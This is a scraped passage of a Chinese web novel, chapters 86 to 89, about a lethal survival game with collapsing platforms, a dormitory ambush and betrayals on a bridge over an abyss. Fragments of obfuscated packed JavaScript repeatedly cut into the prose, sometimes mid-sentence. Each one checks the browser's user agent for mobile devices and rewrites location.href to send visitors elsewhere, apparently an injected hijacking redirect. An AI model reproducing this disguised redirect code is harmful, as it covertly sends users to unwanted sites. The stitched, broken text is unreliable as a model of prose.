l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16184789|177773||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 哗啦”一声碎裂。 她的身体比思维更快反应,在格子彻底崩裂的瞬间,她足尖发力,临空后翻,落地时精准踩在相邻格子的正中央,连一丝多余的晃动都没有。 破裂的金属块擦着她的发梢坠入深渊,景明垂稳住身形,伸手抹去胳膊上被碎片划过的血痕。 另外四人松了口气,初与序手中的短刀已经出鞘,随时准备掷出,又被她收回。 江意的机械手环上,第四轮倒计时开始闪烁。 初与序忽然单膝跪地,右手五指张开,死死按在冰冷的金属格面上。格面的纹路边缘像刀片般割破她的掌心,金属碎屑扎进皮肤。这个动作让她瞬间暴露在危险中,只要此刻音乐停止,她就会因为移动而被判定淘汰。 “你疯了?”随歌压低声音。 初与序没有回答,她闭上眼睛,所有感官都集中在掌心。金属的寒意渗进皮肤,她能感受到电子乐引起的细微共振,玩家们移动造成的杂乱震动…… 三秒,五秒。 突然,她掌心下的金属传来一丝微不可察的震动,就像毒蛇发起攻击前那微妙的蓄力。 她猛地睁眼,飞速收手翻滚。她原先跪着的格子应声塌陷,裂痕像蛛网般在她刚才触碰的位置蔓延开来。 所有人吃了一惊,没料到初与序竟然会预知死亡,有人出声:“你是怎么感知到的?” 初与序开口正要说话,她身后的陌生玩家突然逼近她,朝着她肩膀处猛地伸出手,要将她推下平台! “你确定要推我吗?” 初与序没有回头,声音很轻,却让玩家的动作猛然僵住。她缓缓侧过脸,面无表情看着他:“现在能听出格子断裂规律的,只有我。” 玩家的冷汗顺着太阳穴滑下。 “听到了吗?”初与序似笑非笑道,“你左后方第三格,快要断裂。” “还有七秒。” 仿佛是为了印证她的话,平台深处传来一声细弱的“咔”,像是下面的裂痕在蔓延。男人瞳孔骤然收缩,下意识回头看向初与序所指的方向。 初与序慢慢倒数,当她数到“二”时,男人已经踉跄着扑向相反方向。在他逃离的瞬间,那块格子发出金属撕裂声,轰然塌陷成黑洞。 初与序依然立在平台边缘:“现在明白了?推我下去,等于掐断你们唯一的预警系统。” 远处传来齐无尽一声意味不明的轻笑,而景明垂的琴弦已经缠住了另一个打断偷袭的玩家的手腕。 电子乐突然变调,初与序立刻向右侧跃去,同时厉声道:“左移三步,现在!” 几乎在同一秒,整片扇形区域的格子同时崩塌,那些没来得及移动的玩家像下饺子般坠落。惨叫声中,唯有听从指令的玩家稳稳立在安全区,而那个搞偷袭的男人正巧站在碎裂的格子上,现在正绝望地嘶吼,坠入深渊。 初与序甩掉掌心的血珠:“看不惯我的,有本事正面来。耍阴招算什么?” 所有玩家都沉默了,那些本打算借此机会杀掉她的玩家面面相觑。 86.求求你们互相背刺吧 接下来的几轮游戏,初与序的预判能力逐渐显现出惊人的准确性。每当她感受到细微的震动频率,都会根据自己推算出的规律,立刻做出反应: “东北角三格,退开。” “随歌,左移半步。” “站在边缘的那位,你脚下要塌,跳!” 而她的队友围成紧密的防御圈,江意和随歌保持着整个平台的平衡,冬逢初和景明垂则负责警戒外围,防止其他玩家靠近干扰。 于是,一个令人震惊的局面逐渐形成:凡是听从初与序警告的玩家,全都奇迹般地避开了死亡陷阱。而那些固执己见,或是反应稍慢的,则接连坠入深渊。 初与序睫毛轻颤,像是在解读某种密码。几秒后,她突然指向平台中央:“现在,所有人往那里移动。” 就在人群转移的瞬间,整个平台边缘的格子如同多米诺骨牌般接连崩塌,那些没来得及转移的玩家惨叫着坠落。 当最后一轮倒计时结束时,幸存的玩家们发现,这场本该淘汰大半玩家的残酷游戏,竟只减员了预期的一半。 【第一场游戏结束】 【玩家总人数:210/315】 【恭喜各位幸存者】 随着系统播报声落下,原本布满裂痕的圆形平台开始缓缓自我修复。塌陷的格子重新拼凑,血迹被流动的金属吞噬。短短十几秒内,整个竞技场恢复了最初干净的模样。 这是初与序第一次庆幸自己视力不好,可以更好地利用听觉信息。她终于松开一直紧按地面的手,掌心血肉模糊。站起身随手在面板扯下绷带缠在伤口上,打了个死结,和队友们走向出口。 执行官列队前进,制服上的银色编号徽章在昏暗的通道中格外刺眼。 初与序随着人流移动,余光却突然捕捉到通道侧方的景象:一列蒸汽火车静静停靠在轨道上,车身锈迹斑驳,半开的车厢门内漆黑一片,隐约可见几截断裂的铁链垂落在地。 她的脚步顿了一下。 “怎么了?”冬逢初敏锐地压低声音。 初与序收回视线,摇了摇头。她伸手无意识地摩擦着颈环边缘,那里的金属不知何时变得异常冰冷。 穿过幽长的金属通道后,所有幸存玩家被带进一个巨大的拱顶空间。惨白的灯光下,数百张简易铁架床整齐排列,像停尸房里的不锈钢台。每张床上只有一张薄毯,和系统良心发现给玩家分配的绷带。 角落里的自动贩售机前在几秒钟内排起长队,限量供应的压缩饼干和瓶装水很快引起骚动。 “我先来的!” “滚开,这箱水是我们的!” 两个壮汉为最后一包饼干扭打在一起,撞翻了旁边的货架。玻璃瓶爆裂的声音让挣扎迅速升级,更多人加入混战。有人趁机摸走落单者的物资,被发现的瞬间就挨了一记肘击。 宿舍另一头又一次爆发出激烈的争吵声,一个沙哑的男声吼道:“那是我的!” 不知是什么物品砸在地上的刺耳声响炸开,紧接着是□□撞击的闷响。数道颈环的蓝光疯狂闪烁,几个身影扭打在一起。 初与序等五人坐在远离混乱的角落,她背靠着水泥柱,慢条斯理地清点他们分到的物资。冬逢初盘腿坐在床沿,给江意胳膊的擦伤缠绷带。 “咋第一晚就因为食物打起来了?要插手吗?”随歌咬着营养棒,含糊不清地问,“他们这样会打到明天早上,影响睡觉。” 初与序撕开包装纸:“让他们抢。”她咬了口饼干。 突然,一袋食物临空飞来,重重砸在江意脚边。他低头看去,是半包压缩饼干和一瓶水,显然是从死人身上搜刮来的。 抬头时,他看见齐无尽倚在二十米外的床架上,仰头喝着水。察觉到江意的目光,他抬手比了个“请便”的手势。 江意点了点头,将那袋食物放好。 他们选择了宿舍最角落的五张床位,初与序的床铺紧贴墙角,背后是坚实的混凝土墙壁;景明垂自然睡在了左侧床位,琴弦依旧缠在她手腕上;冬逢初和随歌床位靠在一起,而江意则睡在过道位置的床铺上。 【熄灯倒计时:60秒】 机械声响起时,宿舍里的骚动达到了顶峰,最后几包物资被疯狂争抢,某个角落传来拳头砸在□□上的闷响。初与序靠在叠起的薄毯上,冷眼看着几个玩家正偷偷往床底藏磨尖的金属片。 【十秒】 灯光开始敏感闪烁,齐无尽坐在斜对面的床位上,而宋睿队伍的三人靠在一起,形成防御圈。所有玩家安静下来,飞速回到自己床位,不敢乱动。 【三、二、一】 整个宿舍瞬间陷入浓墨般的黑暗,死寂中只听得见此起彼伏的压抑呼吸上,和有人控制不住牙齿打战的轻响。在绝对的黑暗中,没有人敢在这时随意行动。 初与序枕着手臂望向漆黑的天花板,颈环的蓝光在黑暗中若隐若现。她听着身侧四个队友逐渐平稳的呼吸声,缓缓闭上眼睛。 深夜,万籁俱寂。 黑暗中,某支队伍其中的几道黑影悄无声息地起身,贴着地面移动。他们精准地避开所有障碍物,显然早已摸清了宿舍的布局。三位玩家分别摸向初与序、景明垂和冬逢初的床位。 为首的男人在初与序床边站定,借着颈环的微光看见毯子里隆起的轮廓。他咧开嘴,高举的匕首在月光下划出一道银弧! “□□……!” 突然爆发的怒骂声惊醒了半个宿舍,几个有手电筒道具的玩家打开手电筒,光束慌忙扫过来时,画面已然颠倒: 本该在床上睡觉的初与序此刻正站在偷袭者身后,左手揪着对方头发将人往后拽,右手的短刀稳稳抵在喉咙前。偷袭者的匕首哐当落地,刀身上折射出他扭曲的表情。 旁边两张床上,景明垂的琴弦在黑暗中泛着冷光,缠在那人颈间勾勒出细细血线;冬逢初的长剑精准点在第三人眉心,一滴血珠顺着鼻梁缓缓滑落。 被手电照亮的瞬间,初与序眯了眯眼。她将短刀压深半分,刀锋陷入皮肉的声音在死寂中十分刺耳。 “你…你去哪里了?!”男人牙齿打颤,“你不是应该在床上睡觉吗?!” 初与序冷眼看着他,幽幽道: ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16184790|177773||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “我是不是说过,要杀我,可以堂堂正正打一架,那样我至少会佩服你是条汉子。但耍阴招的人,永远赢不了我。” 景明垂的手指轻轻一挑,琴弦发出危险的嗡鸣。冬逢初的剑尖则纹丝不动,在第三人额间刺出个鲜艳的红点。 随歌懒洋洋打了个哈欠,和江意看戏。 整个宿舍鸦雀无声,所有醒来的玩家都屏住呼吸,没人敢动,没人敢劝。 “关手电。”初与序收起短刀,但手依旧揪着偷袭者的头发。 三字落下,所有手电立刻熄灭,整个仓库重新陷入黑暗,下一秒: “砰!” 沉闷的撞击声响起,像是有人被狠狠掼在地上,紧接着,拳脚砸在□□上的闷响、骨骼错位的脆响、以及被极力压抑的痛哼声交织在一起,在死寂的宿舍里格外清晰。 “啊——别、别打了!我错——” “咔嚓。” 一声脆响后,求饶声戛然而止,只剩下断断续续的抽泣声。 黑暗中,玩家们僵硬地躺在各自的床上,连呼吸都放得极轻。他们能听见布料摩擦的声音,有人被拖行,有人被按在床架上,甚至能听见牙齿打战的咯咯声,但唯独听不到初与序他们任何一个人的说话声。 只有单方面的殴打,和越来越微弱的哀嚎。 十几分钟后,一切归于寂静。 接着是窸窸窣窣的动静,三个偷袭者拖着身体,一瘸一拐地爬回自己床位。他们的呼吸粗重而颤抖,偶尔还夹杂着几声痛苦的抽泣。 初与序轻轻拂去衣服上的灰尘,然后翻身回到床上;景明垂将琴弦重新缠绕回自己手腕;冬逢初的长剑入鞘。 清晨,刺耳的起床铃撕裂沉寂。 惨白的灯光骤然亮起,照亮宿舍内两百多张睡眼惺忪的脸。玩家们从床上爬起,初与序坐在床沿系鞋带,余光扫过不远处那三个鼻青脸肿的偷袭者。 领餐区罕见的安静,玩家们沉默着传递着餐盘,队伍整齐得像用尺子量过,没有插队,也没人抱怨,似乎是在保留体力进行接下来一整天的游戏。 早餐结束的铃声响起,初与序拧紧矿泉水瓶盖,和其余玩家一同站起身。 “现在进行分队。” 执行官的声音从四面八方涌来,初与序感觉颈环突然收紧,冰凉的金属贴上喉咙。她抬手摸了摸,指尖触到微微发烫的表面,原本幽蓝色的光晕正在逐渐转为冰蓝。 “A队,颈环蓝色。B队,颈环红色。” 冬逢初和江意的颈环在她视线里同步变色,呈现出冰川般的颜色。她侧头看去,景明垂和随歌的颈环却泛起了鲜血般的红色。 “请随指示灯移动。” 地面突然亮起两条光带,一条蓝得像极地冰层,一条红得像熔岩裂缝。玩家们缓缓分流成两股,江意站到冬逢初身边,低声道:“我们被分开了。” 初与序环视四周,景明垂和随歌已经站在红色光带上,齐无尽不知何时也出现在了那边,轻轻摩挲着自己血红的颈环。 “走吧。”冬逢初碰了碰她的手腕,“通道要关了。” 87.求求你们互相背刺吧 蓝色光带尽头,一扇沉重的金属门正在缓缓开启。门缝里渗出刺眼的冷白光,照得排队玩家的脸像死人般惨白。有个扎麻花辫的女孩突然哭起来,被另一个玩家不耐烦地骂了。 通道里的白光太亮,照得人眼球发痛。初与序眯起眼,看见前方玩家的背影在强光中变成模糊的剪影。墙壁上偶尔闪过电子屏,显示着不断减少的数字:104…103…102… “这是消毒程序。”领头的执行官突然毫无情绪地开口,声音在通道里产生回声,“请深呼吸。” 初与序没有丝毫犹豫,选择立刻屏住呼吸,并顺手捂住她身后冬逢初的下半张脸。下一秒,天花板喷出淡粉色气体,几个听从执行官话的玩家顿时剧烈咳嗽起来,他们的颈环立刻闪烁警告红光,吓得其他人纷纷后退。 气体散去后,通道尽头出现了第二扇门,这次门上的电子屏显示着: 【A队准备区,当前人数:98】 初与序松开手,冬逢初在她耳边轻笑:“多谢。” 初与序看了他一眼,没有说话。随后转头盯着门缝里漏出的景象:那是一个巨大的悬空平台,在呼啸的风中微微摇晃,像一艘在暴风雨中的破船。平台另一端,隐约能看见另一群红色颈环的身影。 景明垂和随歌应该就在那群人里。 初与序迈入准备区时,刺骨的寒风迎面扑来。她下意识抬起胳膊挡住风,发丝在狂乱的气流中飞舞。 这个悬空的平台比她想象中还要危险,锈蚀的金属网格地面能直接看到下方无底的深渊,每一次风过都会引起吱呀声。 “请A队玩家到指定位置就位。” 执行官的声音响起时,初与序注意到地面上亮起了编号光点。她随便走到一个位置,冬逢初和江意分别站在她左右两侧,三人的站位恰好形成一个防御三角。 平台突然剧烈摇晃了一下,人群中爆发惊恐的尖叫。初与序抓住身旁的钢索稳住身形,看见对面B队平台上有几个红色颈环的玩家已经摔倒在地。 “游戏规则说明即将开始。” 头顶降下四面巨大的悬浮屏幕,映出执行官那张冰冷的面孔。初与序瞥见林海正带着他的小团队往平台中心挤。 “现在宣读第二场游戏规则。” 颈环突然收紧了一瞬,仿佛在警告初与序不要分神,她收回视线。平台上的风更大了,吹得她衣摆翻飞,连带着执行官的声音都变得断断续续。 “规则很简单,你们眼前是两座由钢架支撑的悬空平台,间隔20米,下方是300米深的废弃电梯井。” 初与序抬头,看见悬浮在半空的巨大投影屏亮起,显示出两座悬空平台的全息影像。执行官挥手,画面立刻分解成动态示意图。 他又挥手,投影切换,显示出六名玩家正走向对方的画面。 “每轮由两侧各派出3人,同时踏上连接平台的天平桥。”执行官突然打了个响指,画面中的玩家们瞬间交换了位置,“你们要做的,是让A队全员移动到B平台,B队全员移动到A平台。” 示意图突然变成红色,几个小人从桥上坠落。 “但要注意,这座桥是活的。”执行官的声音带上几分愉悦,“任何一方加速、退缩或失衡,都会导致桥面倾斜。” 投影里,一个玩家突然加速奔跑,整座桥立刻像跷跷板般竖起,其余五人惨叫着滑落深渊。 “每轮限时2分钟,超时未完成交换的玩家,淘汰。” 初与序抬起头看向对面,在某个瞬间,似乎有道熟悉的身影对她比了个手势,但距离太远,看不清楚是景明垂还是随歌。 “最后提醒。”执行官转向众人,“你们共有一小时完成全员交换。超时的队伍,全员淘汰。” 投影突然熄灭,准备区的灯光转为刺眼的血红色。 “游戏将在五分钟后开始,请各队确定首轮参赛者。” 话音落下的刹那,整个平台陷入了诡异的寂静,连风声都仿佛静止了,只有此起彼伏的呼吸。初与序蹲下身,用短刀在地上刻下简单的战术图示。 A队这边一共98人,而B队大概也只剩下九十多人。一队限时2分钟,一小时时间远远不够这么多人正常通关。到后期一定会打起来,自己的团队既不能在前面上桥,又不能落到最后。 “没人愿意当第一轮,一会要出事。”她低声说,目光扫过人群,“先自保吧。” 江意点点头,不动神色地往他们这边移了一步,三人形成的三角阵型悄然收紧。 死寂在平台上蔓延了整整一分钟,没有人动。 A队的玩家们互相交换着眼神,像一群饿狼在挑选最弱的猎物。终于,一个满脸横肉的男人啐了一口,大步走向角落里三个瑟缩的身影:两个瘦弱的男生和一个面色苍白的女孩。 “你们三个,上去。”他咧嘴一笑,露出森森白牙。 “我们不行!”其中一个男生往后退,后背抵上了围栏。 男人立刻暴起,一把揪住他的衣领:“要么走上去,要么我现在把你扔下去!” 女孩吓得跌坐在地,眼泪无声地往下掉。另一个男生死死咬住嘴唇,血丝从嘴角渗出。四周的玩家冷眼旁观,有人甚至不耐烦地咂嘴。 冬逢初站在人群边缘,缓缓握紧拳头。他刚迈出半步,被江意扣出手腕,一个眼神制止。 “意哥……” “想救人?”江意冷笑,看向那三个发抖的背影,“你怎么能确定,你今天救下来的人,明天不会把刀插进你后背?” 初与序看向冬逢初,用耳骨夹传递心念:“现在出手,就是与整个A队为敌。” “快点!磨蹭什么!”又有人上前推搡,三个瘦小的玩家被硬生生推到了平台边缘。 对面B队的情况如初一撤,几个彪形大汉正押着三个流冷汗的玩家走向木板。初与序看见其中一人踉跄了一下,差点直接摔下深渊,又被粗暴地拽回来。那人抬头时,初与序认出他是上次在讨论会和向枝冥吵架的玩家。 “第一轮玩家就位。” 执行官的声音响起时,三个被迫上场的A队玩家几乎站不稳。他们颤抖着踏上摇摇欲坠的木板,而对面B队的三人同样面无死灰。 木板在风中发出声响,让上面的人不敢呼吸。 “开始。” 六人在深渊之上战栗,他们小心翼翼地踏在腐朽的木板上。三名少男少女面色惨白,B队的三人同样被吓得不轻。他们像是被命运随手摆弄的棋子,被迫在这座摇摇欲坠的“天平”上行走。 第一步。 A队的眼镜少年几乎是用脚尖点在木板上,仿佛害怕自己的重量会压垮这脆弱的通道。B队那边,为首的男人双手平举 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16190913|177773||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,像走钢丝的杂技演员,可颤抖的膝盖出卖了他的恐惧。 第二步。 木板微微下沉,六人同时屏住呼吸。A队另一个少年突然踉跄了一下,差点跪倒。他身后的玩家发出不满的嘘声,他立刻绷直身体,冷汗浸透了后背的衣料。 就在这时,一阵狂暴的横风突然席卷平台! “啊——!” B队的女人最先遭殃,她的身体被抛向半空,眼看就要坠入深渊!千钧一发之际,为首的男人猛地扑出,死死抓住了她的手腕! “抓紧我!”男人整个人被拖向边缘。 木板疯狂摇晃,A队的三人惊恐地趴下,死死抱住木板。B队剩下的人反应极快,一个箭步冲上前,拽住了男人的衣服:“拉上来!快!” 他们像拔河一般,在狂风中将女人一寸寸拖回。她的鞋子擦过木板边缘,碎石滚落,消失在无底的黑暗中。当女人终于被拽上平台时,她瘫软在地。 短暂的喘息中,倒计时仍在继续。 “继、继续走…”男人喘着粗气。 六人重新站起,颤抖着向前。木板仍在摇晃,但风势稍缓。A队的眼镜少年回头看了一眼自己的同伴,发现那个一直低着头的瘦小男生,嘴角竟勾起了一丝奇怪的弧度。 【倒计时:00:40】 “你们去死吧!” A队那个瘦小男生突然暴起,他原本佝偻的背脊猛地绷直,运动鞋在木板上蹬出刺耳的摩擦声。眼镜少年惊恐地转头,却只来得及看见同伴扭曲的笑脸。 木板剧烈扭动,B队的三人瞬间失衡,为首的男人绝望地张开嘴,却连惨叫都来不及发出就栽了下去。他的外套在气流中鼓胀开来,像降落伞。 “不!!”B队的女人本能地去抓同伴,却反被下坠的力道带得前倾。她拼命挥舞的手臂。最后消失的是她瞪大的眼睛,瞳孔里还映着对面A队那个瘦小男生狂笑的脸。 木板因为突然减轻的重量而猛然回弹,A队的眼镜少年被甩向空中,又重重砸在倾斜的板面上。他徒劳地抓住木板边缘,镜片在撞击中碎裂,鲜血从额头流下。 “救…救我…” 回应他的是B队幸存者狰狞的脸,那个男人蹲在平台边缘,像摘果子般轻松地掰开眼镜少年鲜血淋漓的手指。 少年坠落的瞬间,江意看清了他最后的口型,是在喊“妈妈。” 而始作俑者,那个突然发难的A队玩家,此刻正癫狂地大笑着冲向B队平台。就在他即将触碰到平台的瞬间,B队人群中突然伸出四五双手,有人冷笑:“该你了,蠢货!” 他被推下去的表情飞速变化,从狂喜到困惑,再到扭曲的恐惧。最后定格成自由落体时的呆滞。有血滴溅到最近那个B队玩家脸上,那个满不在乎地用袖子擦了擦,朝A队方向比了个下流手势。 木板终于停止晃动时,上面只剩下零星的血迹和半片破碎的眼睛,深渊吞没了所有声音。 【第一轮存活人数:1/6】 B队唯一存活的男人站到A队平台上,他缓缓吐出一口气,冷笑道:“你们队伍的人不团结啊。” 对面平台上,景明垂的身影终于出现在视野里。她站在B队边缘,当初与序和她对视时,她轻轻摇了摇头。 初与序重重按住了自己的手腕,直到脉搏重新恢复平静,她才放下手。 88.求求你们互相背刺吧 “第二轮玩家请就位。” 执行官的声音落下,A队和B队的玩家们再次骚动起来,这一次仍没有人愿意主动上前。直到几个身材高大的男人交换了眼神,露出笑容。 “你、你、还有你,你们三个跟上。”A队一个满脸横肉的男人随手点出三个瘦弱的玩家,“你们上。” 被选中的三个人脸色惨白,其中一人甚至双腿发软,几乎站不起来。但周围的人群已经自动让开一条路,将他们推到平台边缘。对面B队同样如此,三个体格健壮的玩家押着三个瘦小的身影,脸上带着残忍的笑意。 “别怕。”A队那个壮汉拍拍其中一人的肩膀,语气虚伪得令人作呕,“我们会配合你们的。” 初与序冷眼看着这一幕,所有人都知道接下来会发生什么。这些所谓的“强者”根本不会遵守规矩,他们只是把弱者当垫脚石。 六人踏上木板,这一次,双方都走得很慢,仿佛每一步都在试探对方的诚意。A队一个女孩死死盯着对面的壮汉,嘴唇颤抖着念着什么,像是在祈祷。B队一个少年则死死攥着衣角,冷汗从额角滑落。 前二十秒,相安无事。 木板在风中轻微摇晃,但六人勉强维持着平衡。A队的壮汉甚至对对面B队的玩家笑了笑,露出森白的牙齿:“看,合作多简单?放轻松。” 然后,背叛来得猝不及防。 “松手!”A队的壮汉突然暴喝一声,猛地松开原本扶着瘦弱队友的手。与此同时,对面B队的领头人也狞笑着后退一步。 “不——!!” 木板瞬间失去平衡,A队的女孩和B队的少年同时失衡,身体不受控制地向深渊倾斜。女孩绝望地伸手去抓壮汉的衣袖,却抓了个空,整个人坠落。B队的少年试图抱住木板,却被B队的另一人狠狠踹了一脚,惨叫着摔下深渊。 “他们是一队的!”有玩家崩溃大喊,“你们作弊!!!” 仅剩的四人站在木板上,表情各异。 “规则又没有说,一个团队的玩家不能一起上。”A队的壮汉和另一个同伙咧嘴大笑,仿佛刚刚只是玩了一场恶作剧。对面B队的两人则互相击掌,庆祝他们的“胜利”。 木板重新恢复平衡,四人顺利走到对面平台。 【第二轮存活人数:4/6】 没等其余玩家缓过神,执行官机械冰冷的声音再次响起: “第三轮玩家请就位。” 这一次主动站出来的是一支看起来牢不可破的队伍——宋睿、林海,以及他们的第三个队友杜明。三人并肩站在平台边缘,宋睿眼神闪烁不定,站在林海后面:“林、林哥,我们真的要现在上吗?” “别怕,我们三个一起。”林海拍了拍宋睿的肩膀,声音洪亮得像是要刻意说给所有人听,“让他们看看什么叫真正的团队合作。” 与此同时,B队平台突然爆发骚动。 “老子先上!” “滚开!让我先走!” 三个彪形大汉正在争夺站位,其中一人突然抡起拳头砸在同伴鼻梁上,鲜血喷溅在红色颈环上。被打的男人踉跄后退,直接撞到了身后一个扎马尾的女孩。 女孩尖叫着抓住施暴者的裤腿,两人一起滚倒在平台边缘。她的指甲在对方脸上抓出五道血痕,在即将坠落的瞬间,突然掏出藏在袖口的玻璃片,狠狠扎进男人眼球。 惨叫声中,两人纠缠着摔下深渊。 剩余的那个B队玩家抹了把脸上的血,咧嘴笑了。他踢了踢地上遗留的玻璃碎片,转头对A队这边喊:“该你们了!” 杜明站在一旁,双臂抱胸,冷峻的面容上看不出任何表情。他淡淡地扫了宋睿一眼,只说了两个字:“跟上。” A队的三人和B队一人同时踏上木板。 宋睿走在中间,林海在前,杜明在后。林海时不时回头,朝宋睿露出鼓励的微笑:“慢慢来,别紧张。”他的语气柔和,仿佛真的在照顾一个胆小的朋友。 宋睿勉强挤出一丝微笑,但双腿仍在发抖。他死死盯着脚下的木板,生怕一步踏错。 木板轻轻摇晃,但三人走得还算稳当。林海甚至主动调整步伐,配合宋睿的速度:“对,就是这样,别急。” 宋睿紧绷的神经稍稍放松,但在此刻,第三轮的时间只剩下三十秒,而他们三人离B队平台还有一半左右的距离。 三人继续向前缓慢走去,然而,就在距离终点仅剩下十米时,林海脚步突然一顿。 宋睿一愣,下意识抬头:“林哥,怎么了?” 林海转过身来,脸上挂着那抹温柔的笑,只是眼神彻底冷了下去:“宋睿,你想知道我们团队的名字吗?” “名字?”宋睿不明白为什么林海现在问,但还是老老实实回答,“我们队伍的名字不是‘今晚吃什么’吗?” “不是。”林海的目光越过宋睿,直勾勾落到A队平台初与序三人身上,“我原本的团队,名字叫‘屠宰场’。” 所有玩家心一沉。 “屠宰场”,是永冬之城有名的杀戮团队,最喜欢干的事就是进入团队赛,趁机杀死新人玩家。他们不急着通关,反而沉迷于在游戏中制造恐惧,享受弱者的绝望。没人知道这支团队一共有多少人,没人知道队伍成员的名字和长相。这支队伍,也是向枝冥之前给初与序的团队名单上,用红笔圈出来的,一共有十八人参赛。 “宋睿。”林海轻声说,“你太慢了。” 宋睿一怔。 下一秒,林海猛地伸手,一把扣住他的肩膀,用力向前一推! 宋睿的身体不受控制地后仰,双手疯狂挥舞,试图抓出什么。他的手擦过林海的衣袖,却只扯下一枚纽扣。 “杜明!帮、帮帮我——!”他绝望地看向身后的男人,声音里带着哭腔。 杜明冷漠地注视着他,不仅没有伸手,反而后退了一步,吐出两个字:“废物。” 宋睿的眼泪夺眶而出,喉咙里挤出一道凄厉的呜咽,随后整个人向后栽去,消失在深渊之中。沉重的落 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16190914|177773||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 地声隔了几秒传到每位玩家耳朵里。 初与序听到身后的江意罕见地骂了一句脏话。 木板重新平衡,剩下的三人顺利踏上平台。 林海拍了拍衣袖,低头看着那枚被扯掉的纽扣,轻轻叹了口气:“真可惜,我挺喜欢这件衣服的。” 杜明没有回应,只是冷冷地扫了一眼深渊,转身走进人群。 【第三轮存活人数:3/6】 “第四轮玩家请就位。” A队的三位陌生玩家战战兢兢地踏上木板。他们互相搀扶,眼神警惕,显然已经目睹了前几轮的惨剧,对任何人都充满戒备。 而B队这边,齐无尽缓步走出,风衣衣摆在风中微微翻动。他身后跟着两位陌生玩家,一个瘦高个,一个小姑娘,两人不自觉地与他保持距离。 木板在六人的重量下微微下沉,齐无尽走得很稳,仿佛脚下的不是深渊,而是红毯。 A队的三人交换了一个眼神,他们知道齐无尽是谁,更知道他是系统的人。没人敢对他动手,甚至连靠近都不敢。这一轮大概率没有内战。 “风......风好像变大了?”A队的瘦子结结巴巴地说道,双手死死抓住同伴的袖子。 “别废话,走快点!”走在最前面的矮壮汉子,他咬牙催促。 走到中途,变故突生。一阵狂暴的横风骤然袭来,木板剧烈摇晃,几乎要翻折过来。 “啊——!”A队的瘦子脚下一滑,整个人向外倾斜。他本能地抓住身旁的同伴,结果两人一起失去平衡,惨叫着坠入深渊。 A队的矮壮汉子也被狂风吹得踉跄几步,眼看就要摔下去。 齐无尽“啧”了一声,突然伸手,一把扣住他后领,硬生生将他拽了回来。矮壮汉子惊魂未定,脸上还凝着劫后余生的庆幸。他大口喘着气,抬头正对上齐无尽那双似笑非笑的眼睛。 “谢、谢谢……”他结结巴巴地说道。 齐无尽没说话,只是松开手继续向前走去,仿佛刚才的救援只是顺手为之。 明眼人都能看出来,齐无尽不会无缘无故救人。 如果那个矮壮汉子摔下去,木板会因为突然失衡而剧烈倾斜,齐无尽自己也会陷入危险。他救人,不是因为仁慈,是为了自保。 矮壮汉子跌跌撞撞跟着齐无尽走到A队平台,直到双腿踩上坚实的地面,他才终于松了口气,抬手擦了擦额头的冷汗。 然而下一秒,他的颈环突然亮起刺目的红光,整个人僵直地抽搐起来,随即重重倒地,口吐白沫。 执行官冰冷的声音响起:【违规判定:未完成交换】 众人这才发现,矮壮汉子虽然被齐无尽救了,但按照规定,B队玩家必须全部走到A队平台,而A队玩家必须全部走到B队平台。A队的他本该走向B队,却因为恐惧而本能地跟着齐无尽返回了A队,违反了规则。 齐无尽垂眸,面无表情扫了一眼地上的尸体,走到一边。 【第四轮存活人数:3/6】 89.求求你们互相背刺吧 “第五轮玩家请就位。” 话音落下,A队里的初与序、冬逢初与江意互相交换了一个眼神,三人默契地迈出一步,他们早已决定,这一轮由自己人上桥。 然而,还未等他们走到平台边缘,两道高大的身影便横挡在前。 “哟,这不是‘新人玩家第一’初与序吗?” 说话的男人咧开嘴,露出白牙。他脖子上挂着一串骨制饰品,每一颗都像是从不同玩家身上收集来的战利品。站在他旁边的同伙则更为阴森,半边脸布满疤痕,眼神如同毒蛇般狠厉。 初与序一眼就判断出,这两人又是“屠宰场”的人。 “听说你很厉害?”骨链男歪着头,手指挑衅地拨弄脖子上的骨链,啐了一口,“不是放话说有本事就正面来吗?我们俩现在就要‘正面来’,你同不同意?” 江意眼神一冷,左手已经按上右手的机械手环。冬逢初的长剑微微出鞘,寒光在阴影中一闪而逝。 初与序却抬手拦住了他们。 她缓缓抬头,直视骨链男:“好啊。” 全程瞬间死寂,大部分玩家都没有料到初与序真的会同意。在他们看来,这个身形单薄,看起来甚至还未完全褪去少女青涩的姑娘,独自面对两个以虐杀为乐的屠夫,存活下来的概率连一成都没有。 